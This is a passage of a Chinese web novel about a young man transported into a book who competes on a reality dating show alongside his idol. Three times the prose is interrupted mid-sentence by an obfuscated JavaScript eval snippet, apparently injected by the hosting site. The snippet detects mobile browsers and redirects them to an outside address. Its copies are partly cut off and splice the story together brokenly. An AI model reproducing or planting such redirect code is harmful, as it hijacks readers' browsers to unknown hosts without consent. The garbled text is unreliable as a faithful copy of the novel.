“安德森现在住进来,要住哪个房间?”白景辰突然问道。 其他人这才想起来,这人也是要入住的,张导是个不按常规出牌的,该不会让安德森和乐言一起住? “应该是我房间,”穆为回答,“刚才回来的时候,我房间里加了一张床。” 他回头看了眼终于安静的安德森:“一会儿我带你去。” 回到别墅,穆为果然带着安德森去了房间,其他人都松了口气,喝水的喝水,聊天的聊天。 安乐言从冰箱里拿出两袋水果,削削切切,准备做个水果拼盘。 傅识沧正在沙发上歪着。 一早上离开别墅之后,他去给《秦城》录了个访谈,午间就做完了所有事,却一直待在经纪人的办公室里不想动。 “怎么了,心情不好?还是哪里不舒服?”经纪人开玩笑似的拍拍他曲起的长腿。 那会儿他正躺在沙发上,脸上盖着一本书,闻言只含糊地嗯了一声,懒得回答。 “有个运动综艺想请你做飞行嘉宾,去不去?”经纪人柔声道,“录播,就在一周后,正好在你恋综的第二期之前。” “不去,”傅识沧放开书本,挺身坐了起来,“夏天的体竞少不了游泳,我在恋综里都不露肉,没理由在别的节目里曝光。” 原来这里也不安全,他默默地想,多亏了那条束腹带,不然他这个动作必然没有这么利落,迟早让经纪人试探出来。 因为这个,再加上那点没理清的茫然,让他难得地感觉到了几分愧疚和尴尬。 正想着,安乐言端着果盘出来了,放在他面前的茶几上。 傅识沧赶紧坐正,还往外挪了挪,准备站起身来。 少年放果盘的手赶忙缩了回来,低声说:“你别误会,是放这儿大家一起吃的。” 说完就低着头,退出了茶几和沙发间的空隙。 傅识沧尴尬地维持着正坐的姿势,看着他落寞的背影缓缓走远,张了张口,想要叫住他。 可话到了口边,他却突然皱了眉。 求仁得仁,不是吗? 他垂头盯着那盘水果半晌,沉着脸回了卧室。 安乐言又来到了那个小坡上的凉亭。 夜间,凉亭的椽子上悬挂着一串串金色的小灯,把内里的柔软空间照亮。 他脱了鞋进去,依旧躺在亭子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14751897|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中央。 细碎的灯光在眼前晃动,闭上眼也能看见闪烁的光点,混乱却挥之不去。 他有些迷茫。 穿书这种事情,对他而言是不得不接受,而对于书中的这些人,他要是照直说,怕是会被当成疯子。 他不过是想尽自己的能力帮帮沧哥,但他好像误会了。 刚才……他是在躲我吗? 如果他像上辈子对待那个追求者那样,把我也全盘拉黑,老死不相往来呢? 想到这个可能性,安乐言忍不住打了个寒战。 那怎么行?我还想给沧哥做一辈子助理呢! 他烦恼地在软垫上打了个滚,使劲锤了几下抱枕。 刷—— 门帘突然被掀开,安乐言抬起头,就见一头卷曲的红发,是安德森。 “我乱逛来着,没想到你在里面,”他笑呵呵地站在门口,“能进来吗?” “当然,请进!”安乐言忙坐了起来,背靠着凉亭的柱子捋了捋头发,“抱歉啊,你第一天来,应该带你到处逛逛的。” “你太客气了,”安德森笑道,“哦对,这就是你们经常说的那个‘主人翁精神’?” 安乐言被他逗笑了:“这词不是这么用的。” 他来了些精神:“对了,你看起来不像是有华国血统,汉语怎么说得这么好?” “真的吗?你觉得我汉语说得好?”安德森眼睛亮亮的,“我其实是混血,四分之一华国血统,可能看起来更像外国人一些。” “我高中毕业来的华国,在海市上的大学。”他好整以暇地坐下来,“我也觉得我汉语说得很好了,可我……他总说我不会用词。” 安乐言礼貌地忽略了他话语中的含糊:“已经很好了,而且你对二次元文化的认识也很本土化,和你聊天很开心。” 先前在软垫上打滚,他的头发被弄得有点乱,这会儿靠在亭柱上,有几缕刘海垂落下来,搭在他的眼角旁。 安德森抬起手,替他把那几缕头发拨开,顺手揉了揉他隐藏在鬓角的瘦脸贴:“但是你现在看起来并不开心,能告诉我为什么吗?” 男生的手指温暖,拨开发丝的时候,有微微的热气氤氲,让安乐言的眼角也热了起来。 或许对方的异国血统让人觉得他只是个旁观者,也许是自己憋得太久了需要倾诉,安乐言低着头,说出了自己的烦恼: “就是……我好像被人误会了,其实我只是他的粉丝而已。” 他低声絮絮,挑选了几件不涉及穿书、复仇的事,慢慢地给眼前这个陌生人,讲自己进入别墅以来的心境。 半晌,他抬头问安德森:“我该怎么办?” 少年的眼角微红,烦的是粉丝的界限,却十足一副为情所困的样子。 安德森心里暗暗叹了口气。 难得一见面就看对了眼,原以为可以追求一下,没想到竟然已经心有所属。 但是…… 回想了一下今日餐桌上打断他说话的那个冷脸帅哥,他的脸上露出一丝玩味的笑容。 这里可是恋综,既然来了,就要遵守恋综的规矩。 每个人都可以追求自己所爱,每一次约会都不可以拒绝,在恋综里,摇摆不定就是常态,喜新厌旧也没有道德束缚,主动制造的修罗场甚至更受观众欢迎。 更何况,现在的安乐言,根本就不知道自己对他到底是什么感情。 既然你不好好珍惜,就让我来给你点教训吧。 他挑了挑眉,做出一副惊讶的样子来:“哇,听你这么说,怎么感觉你是个怪吓人的私生粉啊!” 安乐言:“……啊?” “知道人家没公开的影讯,知道他爱吃什么,平时吃什么药、看什么书,朋友有哪些,生活轨迹怎么样……”安德森故意小题大做,“你想想看,如果有人在你面前表现出这样的了解,你会不会以为,对方其实是个跟踪癖,监视狂?” 安乐言:? 安乐言:!!!! 这么严重的吗? 17.第 17 章 安乐言震惊了,虽然……但是,他说得好有道理啊! 自己上辈子是傅识沧的助理,当然对他的生活习惯了如指掌,但在这本书里,从傅识沧的视角来看,他只是个第一次见面的陌生人。 所以,他在沧哥的印象中竟然是个私生粉! 安乐言悟了。他急切地坐直了身体。 现在的他,完全把安德森当作了救命稻草:“那我该怎么办?” 安德森笑了:“该怎么办就是你的事了。” 他双手搭上安乐言的肩膀,轻轻晃了晃:“我相信你一定能处理好。” 隔壁的监视器前,小李目瞪口呆地盯着监视器。 这个安德森,怎么第一天来就动手动脚的! 但是,他拨头发的时候好撩,晃肩膀的时候眼神又好宠溺! 再看安乐言,自从进入别墅以来,还没见过他有这么脆弱、这么依赖的时候! 这这这……恋综真的要变天了吗? 第二天一早,安乐言照常不到六点起床,去附近小超市补充食材,买了好几袋早餐放在厨房温着,就来到户外小茶桌前,掏出纸笔,认认真真地写着什么。 早上七点,傅识沧起床洗漱。从洗手间出来的时候,发现自己的眼镜下,压着一张浅蓝色的信笺。 他皱着眉拿起细看。 沧哥: 很抱歉这几天对您造成了困扰。我一直都是您最忠实的粉丝,也加了不少相关的粉丝群,从很多渠道知道了您的方方面面。因为能和偶像一起上节目,我实在太激动了,又处处想显摆一下,所以失了分寸。 这两天我深刻反省,我这样的行为和私生粉又有什么区别?所以,在此向您保证,以后再不会有这样的逾矩行为。 但我对偶像的喜爱是真的,并不希望您从此就讨厌我。虽然不奢望能成为您的朋友,但在恋综的这段时间,我能成为您一个普通的工作伙伴,和您一起完成拍摄吗? ——安乐言 傅识沧仔仔细细把这封短信看了三遍,狠狠揉了揉眉心,只觉得满篇的“您”字刺得他头疼。 普通的工作伙伴……吗? 一阵未名的怒气上涌,傅识沧蓦地把信笺揉成一团,丢进了一旁的垃圾桶里。 楼下突然传来一阵喧哗,不知道节目组又在搞什么。傅识沧皱着眉走下楼梯。 一楼的客厅中间又摆上了大圆桌,只是这一次没有测谎仪,而是铺上了精致的粉色桌布和一大束粉色玫瑰,三个漂亮的浅色礼品盒散落其中。 “这就我们昨天给节目组的礼物?”穆为搓了搓手,弯着腰去看桌子上的礼品盒。 过了一会儿,又拿起三个盒子掂掂,啧了一声:“得了,还真是包装得严实,重量一样还摇不出区别来,连我自己都不知道自己的礼物是哪一个。” 听他这么说,原本打算试探的嘉宾也没了折腾的心思,银心先上前拿了一个,接着是白景辰,傅识沧拿了最后一个。 安德森刚从房间里出来,有点懵懵地看着那一大桌子花,却被一阵甜香吸引。 银心站在他身边,刚刚把手里的礼盒打开,里面是一包黄油小饼干,做成了笑脸的样子,十分可爱。 安德森立刻凑到他身边:“好香啊,给我尝尝好不好?” 银心还在思考这礼物到底是谁给的,顺手递给他一块。 “好了,看样子大家都选好礼物了,”张茂不知何时已经站在了他们身后,“我来宣布约会配对。” 他看了眼嘉宾们:“白景辰拿到袖扣,约会对象是穆为;小傅拿到了玫瑰花,约会对象是聂长星……” 他说到这儿,银心的眼睛已经亮了起来,脱口而出:“小饼干是乐言的?” “对!”张茂点头,“不过安德森昨天加入,总不能把他排除在外,而且……” 他看了眼安德森手中的半块小饼干,故意停了停。 在场所有嘉宾的目光都紧张起来。 “安德森刚才直接选择了小饼干,可以安排一场晚餐约会。” “真的吗?”安德森喜上眉梢,一下子窜到安乐言面前,“今天的晚餐我请客,让我好好想想,一定带你去个好玩的地方。” 安乐言忍不住笑起来:“好啊,我对你的创意有信心!” 既然正主都这么说,其他嘉宾们也无从反对,只是把哀怨的目光都狠狠丢给张导。 张茂早有准备,顷刻冷笑护体,一溜烟跑了。 嘉宾们各自回去换衣服,傅识沧回到双人间的时候,安乐言刚从衣柜里拿出几件衬衫和长裤,放在床上。 “沧哥!”他主动打招呼,“您看到我给您留的纸条了吧,之前的事情对不住,是我太没分寸了。” 傅识沧看着他,眼镜反射着窗外的天光,看不清表情。 “不过我现在知道了,希望今后能和您……” “不要称呼‘您’,我跟你不差辈分。”傅识沧打断他。 安乐言微微愣了一下,突然笑了:“太好了,我就知道你没怪我。” 他笑得两眼弯弯,很激动似地凑近了些。 这是两天来两人挨得最近的时刻。 傅识沧心中一跳,竟然有了三分紧张。 安乐言认认真真一句一顿:“我就知道我的偶像气度不凡,不会在意那点小事。太好了,我以后还是你最忠实的粉丝!” 他开开心心地抱着衣服去了洗手间,对着镜子换上。 洗手间的门并没有关,从傅识沧的角度,能清晰地看见他手臂上扬的动作,以及那身雪白的皮肤,还有模糊闪过的两个粉色小点。 傅识沧猛地拉开衣柜,挡住了自己的视线。 安乐言最终选择了一套腰线半镂空的浅色衬衫,再搭配白色休闲牛仔裤,清爽自然。 他冲着正在系扣子的傅识沧一点头,快乐地跑出了房间。 留在房内的男人手指一顿,手上的那颗扣子怎么也系不上,烦得他几乎扯下纽扣,最终换了件衬衫了事。 几位嘉宾都是自己开车来的,三对同时从别墅出发。 安乐言坐上银心的车,冲他笑笑:“我们去哪儿?” “海市美术馆可以吗?”银心转过头来,“我有个画展在那边,我想……给你介绍一下我的作品。” “那当然好啊!”安乐言系上安全带,“我一直都很好奇你的风格,正好你给我讲讲。” 海城美术馆位于东城新区,周边的林荫大道也极负盛名,两人在停车场下了车,沿着林荫道慢慢走过去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14764398|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “原来美术馆在这里啊!”安乐言好奇地眺望。在他的记忆里,东城这边应该是郊区,没有这样的艺术类场馆。 “说起来这个美术馆和傅家也有关系。”银心突然说。 “是吗?”安乐言更惊讶了,他仔细回想了,傅家除了傅识沧,似乎并没有其他在艺术方面有特殊才能的成员。 “美术馆的前身是傅家的私人学院,就是傅识沧的父亲创办的第一代乌啉病研究所,后来城市扩建,傅氏在远郊建起了更大更好的研究中心,他就捐出了这块地,给当年罹患乌啉病的孩子们做艺术学校。” 安乐言沿着林荫道的石砖慢慢地走:“原来还有这段渊源。傅兴山先生真的是为乌啉病患者作出了重大贡献。我知道,第一代特效药就是他的研究成果。” 他其实是见过傅识沧父亲的,只是那时很小,现在回想起来,连面貌都记不太清楚了,只记得那是个高大、温柔的男人,后来听说他车祸去世,他还伤心了好一阵子。 而在这个世界里,傅兴山的死被提前了近十年,早在傅识沧十二岁时便撒手人寰。 “嗯,”银心突然快步走到他面前,像是下决心似的说,“我也是乌啉病患者,你……” 他的目光有点躲闪:“你会不会嫌弃我?” 安乐言眨了眨眼睛。 乌啉病据说因不明原因污染而产生,后发展成为遗传性疾病。发病者如同吸血鬼般惧怕阳光,而在药物干涉下,大部分人行为可以恢复正常,少部分则会出现轻微的自闭症状,表现为兴趣狭窄、行为固执和不善言谈。 银心一直专注地研究他的眼睛,在恋综里也不怎么爱说话,大概就有这方面的原因。 他笑着拍了一下银心的肩膀:“说什么嫌弃不嫌弃的,嫌弃你如此感恩,还是嫌弃你是个天才画家?” 银心愣了愣,跟着他笑了。 因为发病时可怕的症状,世界上有很多人歧视乌啉病患者,可他从来都不讳言自己的状况,只有在安乐言面前,他小心翼翼,生怕被对方看低。 但现在,对方却没有表现出一点害怕的迹象,还夸他是天才画家! 银心真心地笑了:“对啊,我现在能控制病情,也能画出好看的画,走,我带你去看我的画展。” 跟拍小哥跟在他们身后,把这一段原原本本地传回了工作室。 守在监视器前的张茂感叹:“以前怎么没发现,安乐言这孩子还真是个宝啊!他这么跟人说话,谁能顶得住?” 王副导凑上来问:“昨天他跟安德森在亭子里说什么了?那亭子里摄像头的收音不好,就听见一点点什么私生粉啊,处理好啊,像是在交流业务经验似的。结果今天一早,安乐言就变了!” “对对对!”旁边有工作人员附和,“以前吧,觉得他还有点小家子气,跟在傅识沧身后像个跟班似的,可今天就大大方方的,不管是和傅识沧也好,还是现在和银心也好,多了种安然的气质。就好像是……经过了大风大浪的那种恬淡。” 大家纷纷点头。张茂则一挥手:“这些先不谈,赶紧的,趁他们不在,把别墅里的摄像头都检查一遍,收音不好、成像不好的都给我换了!超出预算的钱找我要,一定要把他们的每一个表情每一句话都清清楚楚录下来!” 18.第 18 章 银心的约会,在时间安排上很宽松。 他自己的画展不算大。应举办方要求,展出了大概十二幅油画,还有十几份零散的速写,专供本学院的学弟学妹们研究学习。 安乐言看得连连点头。 当年给傅识沧做助理的时候,他也曾帮忙打理傅兴山留下的部分收藏,为了更好地完成工作,恶补过艺术收藏方面的相关知识。 看得出来,银心的艺术功底很扎实,只是技巧之余,画面里总好像少了点什么。 这大概就是他此刻修行的关键吧。 中午两人在艺术馆的咖啡厅吃简餐,银心推荐了非常好吃的厚蛋吐司,两人吃得很开心。 饭后休息了一会儿,银心有些不好意思地问:“我一直都想画一画你,你下午跟我去工作室可以吗?” 安乐言眨了眨眼睛:“要我做你的模特啊!” 他故作姿态地拒绝:“我可不做裸体模特,怪吓人的。” “怎,怎么可能!”银心急得都结巴了,“才,才不让你做那个,你该什么样我就画什么样,不脱衣服!” “哈哈哈,”安乐言笑得开心,“别怕,我逗你呢,你只管画就是了。” 他俩收拾东西去银心的工作室,安乐言还买了一大包零食饮料给跟拍的小李,免得他下午无聊。 到四点多的时候,银心的画才完成一半。 安乐言坐了一下午,站起身来活动了一下僵硬的身体,跑到画板后看了一眼。 只一眼,他就惊了。 银心的画并不完全写实,对自己的眼睛却描绘得精细异常。 画面里并不是大家所看到的,经过了他精心调整的眼型,而是他眼睛本来的样子。 形如桃花花瓣,眼尾微翘,带着些许自傲与锋利,是他上辈子去世前的眼睛。 银心这位天才画家,竟然透过层层伪装,看到了他的本源! 安乐言在心里啧啧称奇,他拉了把银心:“你画得太好了,但今天肯定是画不完了,以后我一定找机会再给你当一次模特。” 银心依依不舍地盖上画布,迟疑道:“你要去赴安德森的约会了吗?我,我送你过去。” 安乐言点头笑道:“好。” 可两人到达下一个约会的目的地——海市大学的后门时,银心却没看到安德森的踪影。 安乐言笑眯眯的:“我骗你的,还没到时间,安德森约的是七点。” 银心不解地看着安乐言,对面的少年一脸得意:“你给我安排了这么好的约会,我当然也要报答一下,走,我带你去逛好玩的地方。” 下午做模特的时候他就查了一下银心的履历,发现这位天才画家居然是自学成才的! 幼年时因为乌啉病无法接受正常的教育,银心是在美术馆附属的艺术学校完成的高中学业,期间他很少外出,几乎与世隔绝。 后来虽然读了大学,但却是针对乌啉病人的特殊远程教育。可以说,银心根本就没拥有过正常学子的求学历程,当然也未能体会大学生们多姿多彩的课余生活。 安乐言带他玩的,也就是普通大学生无聊时打发时间的游乐项目,却让银心感觉大开眼界。 就是街边铺面上普普通通的娃娃机,就让他们玩了好久。因为安乐言实在是太厉害了,几乎每次都能抓住娃娃,真正到手的也有十几个! 他们用一大堆小娃娃换了个半人高的小熊,在店主黑着脸的注视下走出了娃娃店。 “这个给你!”安乐言把小熊塞进银心怀里,“你就把他当作自己的好朋友吧。” 银心也有点兴奋,点点头:“那好,我就叫他熊小安。” 两人在欢笑声中分手,银心把小熊放在了副驾的座位上,还专门给它系上了安全带。 安乐言朝着远去的汽车挥挥手,回头便看见了安德森。 这位高大的男生今天穿了一身嘻哈风,宽松的T恤和裤子,还戴了头巾,看起来简单又随性。 安乐言笑呵呵地看了眼自己身上的艺术气质衬衫,叫了一声“等我一会儿”,就钻进了路旁的洗手间。 再出来的时候,已是一身宽大白色T恤配破洞牛仔裤,他一拉安德森的衣袖:“走啦!” 安德森惊喜:“你还带了备用衣服啊!” 安乐言烦恼:“都怪张导啊,非要给我安排两场,我当然得多准备一点。还好我没带错,这一身和你站在一起不违和。” 他俩身后的跟拍小李忍不住翻了个白眼。 什么叫不违和?明明就是绝配好么?穿艺术衬衫的时候和银心绝配,穿嘻哈常服的时候和安德森绝配。不知道和其他人在一起,又会是怎样的美人,反正,安乐言和谁都很配! 已经到了傍晚,即便是夏天日落晚,此刻天也慢慢黑了。 安乐言有点好奇对方会怎么安排。 没想到,安德森竟然把他带到了学校动漫社联名的二次元小店! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14773015|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哇!这里好多阿骛烈的周边,还有依兰瑟尔!”安乐言惊喜地看向周边展台。 “还有,这里的漫画书好全啊,还有最新的《乌米传》!不是说画手太太上个星期才交稿吗?他们居然都有成书卖了!” “还有那个那个,赤雷女的大剑,金之言的短刀……” 安乐言兴奋地看来看去,笑得双眸闪亮:“这里真是天堂啊!” 安德森笑了:“我就知道你会喜欢,走,我们去吃点东西。” 说要吃饭,安乐言反而有点舍不得走了,但毕竟这是约会,安德森还只有一顿饭的约会时间,他也不忍心拒绝。 可安德森却没有带他离开,而是走进了后面的一个小房间。 一进门,安乐言就呆住了。 小房间里是一排排的书架,一面墙的架子上全是动漫神曲的黑胶唱片和CD,而另一面墙的展示架上,则全是动漫角色的手办。 那是他曾经cos过的所有角色。 来到这个世界,为了了解原主,安乐言翻遍了他的微博,也找借口找公司的助理要过原主过往的资料。 原主并不算是知名coser,出过的角色大都边缘。 这个世界的逻辑自洽,动漫却和他的世界不尽相同。 他努力了几天,终于把那些角色混了个眼熟。 可现在,这些角色活灵活现,都出现在自己面前。 安乐言感动地回头去看安德森,也只有这种同好才做得出这样的壮举,不得不说,这里面多少也有点中二精神在。 安德森此刻端来了两杯红酒,一盘饼干和干酪。 “这里不让吃有热气的东西,”他的声音压得很低,“所以,先吃点这些垫一垫。” 他绅士地拉开椅子让安乐言坐下,自己却走到书架旁,挑了一盘黑胶,放入留声机中。 优美的男声缓缓飘出,那是去年某知名动漫的插曲。 “在我看见你的那一刻,我就知道,我们会成为最好的朋友……” 歌声在小屋中缓缓飘荡。 “可是朋友啊,朋友啊,此刻的我却想让时间就此停止,你便能永远在我梦里……” 安乐言喝了一口红酒,静静地听着歌,意识却恍惚回到上辈子,第一次见到傅识沧的那天。 黑暗的小屋里,只有一束光,就照在那个人的脸上。 挺拔的少年向他伸出一只手。 他说,不要怕,我是朋友。 19.第 19 章 安德森静静喝了一口红酒。 对面的男生眼神清澈,微笑着抿红酒的样子很美,但他知道,对方现在想的根本不是自己。 他透过那首歌,想起的,是别的什么人。 安德森无奈地笑笑。 还真是难啊,即使他们在一起那么快乐,他的心,依然被某人牢牢地占据。 他有点好奇,好奇那人何德何能,好奇他们之间的羁绊,也好奇,自己的加入能不能改变这一切。 世界上真的有这样的爱情吗? 他是感觉派,觉得爱情里最重要的是感觉,也相信肢体接触更能触动对方。 他不理解,他们到底经历过什么,安乐言对那人的感觉,怎么可能持续这么久? 一曲毕,安乐言眨了眨眼睛,终于回神。 “真好听。”他低声称赞着,“谢谢你费心安排这一切。” 他知道,那些角色周边不好找,安德森却在一天之内尽可能地都找到了,这份心意让人感动。 “你知道吗?”安德森站起身,把安乐言带出小店,“我浑身上下的浪漫细胞都到此为止了,你要是真的让我再装下去,我会露馅的。” 他哈哈笑着一指街道对面的大排档:“红酒没有了,排档吃不吃?” 安乐言也大笑:“走吧,我可喜欢了。” 跟拍他俩的小哥愣了半晌,在安德森去点菜的时候上前问:“不去音乐餐厅吗?你不是费了好大劲才订的位置,不要啦?” “没事,”安德森摇摇头,“这里就好。” 在这样的喧嚣里,我会抓住你的心神,让你为我而笑,而不是透过我去想着别人。 别墅里,其他人倒是早早就回去了。 穆为带白景辰去了海滩,教白景辰冲浪教得像模像样,两人还吃了海鲜大餐,算是中规中矩。 傅识沧和聂长星去了花展。 两人全程没什么交流,却被一群退休老太太的各色纱巾糊了满脸,又给好几个抱孩子的家长充当了义务摄影师,不到一个小时便落荒而逃。 而两人都懒得再找地方,干脆回了别墅,一个看书一个看剧本,在起居室的沙发上各自为政消磨了大半个下午,算是应付了“约会”二字。 直到银心回到别墅。 平时银心在别墅里存在感并不强,大家集体活动的时候不会忘了他,但日常也很少主动和他说话。 而今天,他才刚一回来,别墅里几个嘉宾的目光就都向他投来。 “吃饭了吗?”穆为问,“我和景辰打包了海鲜回来,正准备摆上。” 聂长星则看到了他手中的画包:“你今天画画了啊,画的乐言?” 银心点点头:“下午去了工作室,让乐言给我当模特。” “那你可真是得偿所愿了,”白景辰笑道,“从第一天就听见你说要画他,今天终于如愿。能看看吗?” 听他这么一说,其他嘉宾也都好奇了,银心却有点迟疑:“没有画完,我觉得还得再斟酌……” 他话没说完,张茂突然推门进来了:“都在啊,你们吃着,我找银心。” 他说着把银心拉到一旁,嘀嘀咕咕地说起话来。 那幅画就放在客厅的茶几上,穆为最是忍不住,悄悄地绕到茶几边,想偷看一眼。 “嗯……好的,但我要挑一挑,”银心十分认真的声音传来,“乐言不管哪个角度都好看,但我有时候反应慢,照片可能会糊。” 听到“乐言”、“照片”的关键词,穆为的脚步一顿:“照片?银心你有乐言的照片。” “有的啊,”银心回头,“第一天我就问过他,他说让我拍的。你们的也有,当时也征得你们同意了。” 几个嘉宾这才想起来,当时还真的有这么一出,只是他们听过就算,也没当回事。 眼见商量的事情已经漏出来一大半,张茂也懒得瞒了:“是这样,我们打算给嘉宾们做个照片墙,后期用的,所以找银心要素材。他已经加急洗了一部分出来。你们要是有空,晚饭后就一起挑一挑。” 这话出口,穆为他们画也不看了,连晚饭都没有心情慢慢吃。 匆忙塞饱了肚子,几个人几乎是抢着洗碗,然后把银心围在了客厅的茶几前。 难得有这么引人瞩目的时刻,银心有点不自在地从背包里拿出一大沓照片来。 “好多!”白景辰感叹,“你怎么有时间拍这么多?” 银心笑笑,没有回答。 不过也不需要他回答,因为很快大家就都不说话了,各自分了一摞照片,拿起细看。 傅识沧草草将自己的几张丢在一旁,慢慢倒换着其他照片,看着上面的安乐言。 开心的,发呆的,认真切菜的,被模糊在袅袅蒸汽中的,和嘉宾们谈笑的……每一张都生动无比,让他空乏了一整天的心终于有了落点。 原来短短的四天里,他们曾一起度过那么多快乐的时光。 单人照里突兀地出现了一张合影,傅识沧皱着眉把照片翻过来,压在一堆废片下。 可过了几秒钟,他又把那张照片翻了出来。 照片大约是昨晚拍的,夜幕低垂,后院里只有几盏低矮的花园灯照亮道路。安乐言和安德森相对而立,不知道是不是安乐言脸上沾了什么,安德森的手指轻轻搭在他的鬓角边。 花园灯照亮了少年的侧脸,他微微眯着眼,眼尾在灯光下,曳出一条优美的弧线。 等等,安乐言的眼睛……一直是这样的吗? 他愣了一会儿,又重新拿起刚才看过的那一沓。 银心收集素材的时候十分仔细,每张照片的右下角都有精确到分钟的时间戳,他按照时间先后把照片顺了一遍,仔仔细细地一张张看过去,却越看越心惊。 那双眼睛,每天都有一点微小的变化,从乖巧可爱的狗狗眼,慢慢过渡为魅惑锐利的桃花! 如果眼尾再上翘一点点…… 傅识沧坐不住了,他急切地想要找到安乐言,好好看看他。 “嗡——”放在桌边的手机振动起来,是汪肖雨。 “方便说话吗?”汪肖雨的声音很低,“方宇回来了,但两人都受了伤,不知道今天能不能问话,你最好尽快过来。” 傅识沧心中一凛,刹那间意识到汪肖雨说的,是方特助一直在追查的事。 他看了眼桌上的照片,深深吸了一口气。 没关系,恋综才刚刚开始,多的是时间去观察,去试探。 现在,正事要紧。 强压下心中的焦躁,他匆匆起身,到隔壁别墅找张茂请了假,驱车赶往医院。 傍晚的医院依然人流涌动,汪肖雨今天所在的急诊外科一片混乱,他一眼看到走廊座椅上,额头裹着纱布正在打吊瓶的方特助。 “对不起啊傅哥,”方宇挣扎着想要站起来,“魏县那边大雨,我没想到他半途竟然醒了,还能抢我方向盘……” 傅识沧伸手按住他:“你人没事就好。这没什么好道歉的,是我让你冒风险了。” 方特助眼角红了:“我们几个命都是您救的……算了,我知道您不爱听。我把赖大送来的时候他还能说话,刚才突然就不行了,汪医生说必须送手术室,所以……” “没事,”傅识沧缓声安慰着助理,“他现在人在医院跑不了,我会安排其他人守着。你现在的任务就是好好养伤,以后还多的是用得着你的地方。” 安抚了下属的情绪,又紧急从其他地方调人过来,办理好各项手续 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他突然很渴望安乐言能选择自己。 看够了医院里来来往往的人群,也不想再应付他人的眼神,他只想待在拥挤的餐车里,煮一杯咖啡,做一盘三明治,顺便看看那个人的笑容。 只有他的笑,能让自己在这纷繁复杂的紧张感里,体会那一份独有的安定。 安乐言的目光与他一触即分,转身伸手,转过了穆为的姓名牌。 他回头一笑:“穆哥,今天我们一起工作,请多多指教。” 那一刻自己到底是什么心情,傅识沧并不是特别理解,似乎有什么从半空跌落,激起满地尘埃,可那些轻飘飘的尘埃,却塞住了他的感知,以至于接下来发生的事情都变得很模糊。 直到安乐言开开心心地坐上了穆为的副驾,餐车渐渐消失在视线中,傅识沧才缓缓意识到,他没有被选择。 不,安乐言一定看到了他方才热切的眼神,却不像以前那样将他放在所有答案的第一位。 他拒绝了他。 还真是……新鲜的感觉。 他自嘲地笑了笑,回卧室去洗漱补眠。 一觉醒来,已经临近中午,别墅里静悄悄的,傅识沧习惯性地去了厨房。 厨房里冷冷清清,全不如早上看到的那般有烟火气。 窗外的院子让他突然想起了那张照片,安乐言和安德森背后,似乎有个凉亭? 心里有种说不清的感觉,即便早已不是那个时间,他也绝无可能打断那张照片里的气氛,他却总觉得,应该去那个凉亭里看一看。 傅识沧慢悠悠地踏上了后院的小径,踱到凉亭外,朝里面看了一眼。 不过是个小亭子,有几盏灯,几个垫子,一点也不浪漫。 他别过眼不再看,却见到不远的地方,银心支着画架,正在写生。 他画的是眼前的一棵大树,亭亭如盖,栩栩如生。 只是画面里,树下站着一个少年。 刹那间,傅识沧如遭雷殛,被死死钉在当地。 不知过了多久,他才听见自己虚弱的声音:“银心,你画的是谁?” “乐言啊,”银心有些奇怪地回头看了他一眼,“这你都认不出来?” “可小言的眼睛……” “哦,你说这个啊,”银心耸了耸肩,“我见到他的第一眼就发现了,他原本的眼型很美,却总是不肯以真面目示人……” 昨晚整理的一张张照片从脑海中飞梭而过,最后定格在眼前的画作之上。 眼眸如艳丽的桃花花瓣,微微上挑,与他梦里的那双眼睛一模一样。 傅识沧要疯了。